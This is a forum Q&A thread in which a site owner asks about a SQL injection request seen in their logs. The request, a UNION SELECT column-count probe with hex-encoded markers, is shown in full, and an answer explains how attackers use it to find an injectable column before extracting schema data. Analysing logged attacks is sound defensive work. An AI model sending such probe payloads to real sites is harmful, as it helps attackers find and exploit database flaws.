3

My site has been repeatedly hit with this query. I am wondering what the attacker is trying to gain? The URL is: my.site/content/page.aspx?myID=15641111111111111%20UNION%20SELECT%20cAsT(0x2d78312d512d%20as%20char),/**/cAsT(0x2d78322d512d%20as%20char),/**/cAsT(0x2d78332d512d%20as%20char),/**/cAsT(0x2d78342d512d%20as%20char),/**/cAsT(0x2d78352d512d%20as%20char),/**/cAsT(0x2d78362d512d%20as%20char),/**/cAsT(0x2d78372d512d%20as%20char),/**/cAsT(0x2d78382d512d%20as%20char),/**/cAsT(0x2d78392d512d%20as%20char),/**/cAsT(0x2d7831302d512d%20as%20char),/**/cAsT(0x2d7831312d512d%20as%20char),/**/cAsT(0x2d7831322d512d%20as%20char),/**/cAsT(0x2d7831332d512d%20as%20char),/**/cAsT(0x2d7831342d512d%20as%20char),/**/cAsT(0x2d7831352d512d%20as%20char),/**/cAsT(0x2d7831362d512d%20as%20char),/**/cAsT(0x2d7831372d512d%20as%20char),/**/cAsT(0x2d7831382d512d%20as%20char),/**/cAsT(0x2d7831392d512d%20as%20char),/**/cAsT(0x2d7832302d512d%20as%20char),/**/cAsT(0x2d7832312d512d%20as%20char),/**/cAsT(0x2d7832322d512d%20as%20char),/**/cAsT(0x2d7832332d512d%20as%20char),/**/cAsT(0x2d7832342d512d%20as%20char),/**/cAsT(0x2d7832352d512d%20as%20char),/**/cAsT(0x2d7832362d512d%20as%20char),/**/cAsT(0x2d7832372d512d%20as%20char),/**/cAsT(0x2d7832382d512d%20as%20char),/**/cAsT(0x2d7832392d512d%20as%20char),/**/cAsT(0x2d7833302d512d%20as%20char),/**/cAsT(0x2d7833312d512d%20as%20char),/**/cAsT(0x2d7833322d512d%20as%20char),/**/cAsT(0x2d7833332d512d%20as%20char),/**/cAsT(0x2d7833342d512d%20as%20char),/**/cAsT(0x2d7833352d512d%20as%20char),/**/cAsT(0x2d7833362d512d%20as%20char),/**/cAsT(0x2d7833372d512d%20as%20char),/**/cAsT(0x2d7833382d512d%20as%20char),/**/cAsT(0x2d7833392d512d%20as%20char),/**/cAsT(0x2d7834302d512d%20as%20char),/**/cAsT(0x2d7834312d512d%20as%20char),/**/cAsT(0x2d7834322d512d%20as%20char),/**/cAsT(0x2d7834332d512d%20as%20char),/**/cAsT(0x2d7834342d512d%20as%20char),/**/cAsT(0x2d7834352d512d%20as%20char),/**/cAsT(0x2d7834362d512d%20as%20char),/**/cAsT(0x2d7834372d512d%20as%20char),/**/cAsT(0x2d7834382d512d%20as%20char)--

The first four numbers in myID are a legitimate ID. After all the ones, it's obviously a SQL injection attempt. Here is what it looks like with the %20s replaced with spaces and basic formatting:

UNION SELECT cAsT(0x2d78312d512d as char),/**/ cAsT(0x2d78322d512d as char),/**/ cAsT(0x2d78332d512d as char),/**/ cAsT(0x2d78342d512d as char),/**/ cAsT(0x2d78352d512d as char),/**/ cAsT(0x2d78362d512d as char),/**/ cAsT(0x2d78372d512d as char),/**/ cAsT(0x2d78382d512d as char),/**/ cAsT(0x2d78392d512d as char),/**/ cAsT(0x2d7831302d512d as char),/**/ cAsT(0x2d7831312d512d as char),/**/ cAsT(0x2d7831322d512d as char),/**/ cAsT(0x2d7831332d512d as char),/**/ cAsT(0x2d7831342d512d as char),/**/ cAsT(0x2d7831352d512d as char),/**/ cAsT(0x2d7831362d512d as char),/**/ cAsT(0x2d7831372d512d as char),/**/ cAsT(0x2d7831382d512d as char),/**/ cAsT(0x2d7831392d512d as char),/**/ cAsT(0x2d7832302d512d as char),/**/ cAsT(0x2d7832312d512d as char),/**/ cAsT(0x2d7832322d512d as char),/**/ cAsT(0x2d7832332d512d as char),/**/ cAsT(0x2d7832342d512d as char),/**/ cAsT(0x2d7832352d512d as char),/**/ cAsT(0x2d7832362d512d as char),/**/ cAsT(0x2d7832372d512d as char),/**/ cAsT(0x2d7832382d512d as char),/**/ cAsT(0x2d7832392d512d as char),/**/ cAsT(0x2d7833302d512d as char),/**/ cAsT(0x2d7833312d512d as char),/**/ cAsT(0x2d7833322d512d as char),/**/ cAsT(0x2d7833332d512d as char),/**/ cAsT(0x2d7833342d512d as char),/**/ cAsT(0x2d7833352d512d as char),/**/ cAsT(0x2d7833362d512d as char),/**/ cAsT(0x2d7833372d512d as char),/**/ cAsT(0x2d7833382d512d as char),/**/ cAsT(0x2d7833392d512d as char),/**/ cAsT(0x2d7834302d512d as char),/**/ cAsT(0x2d7834312d512d as char),/**/ cAsT(0x2d7834322d512d as char),/**/ cAsT(0x2d7834332d512d as char),/**/ cAsT(0x2d7834342d512d as char),/**/ cAsT(0x2d7834352d512d as char),/**/ cAsT(0x2d7834362d512d as char),/**/ cAsT(0x2d7834372d512d as char),/**/ cAsT(0x2d7834382d512d as char)--

When I run this query in SSMS, it yields this: Query result All the way up through -x48-Q-. Since this isn't actually querying any data, I can't think of what the attacker is hoping to get. Has anyone seen anything like this before?

4

This looks like a simple scan for vulnerabilities.

The SQL UNION operator requires the second query to return the same number of columns as the first, so the attacker will iterate trying increasingly larger unions. If you look you probably have 48 hits counting up by one each time, not the same attempt with 48 columns multiple times.

If one of those attempts results in a page that contains -x#-Q- they would then come back and try to craft an actual attack by inserting functions to extract table and column names etc. at position #.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.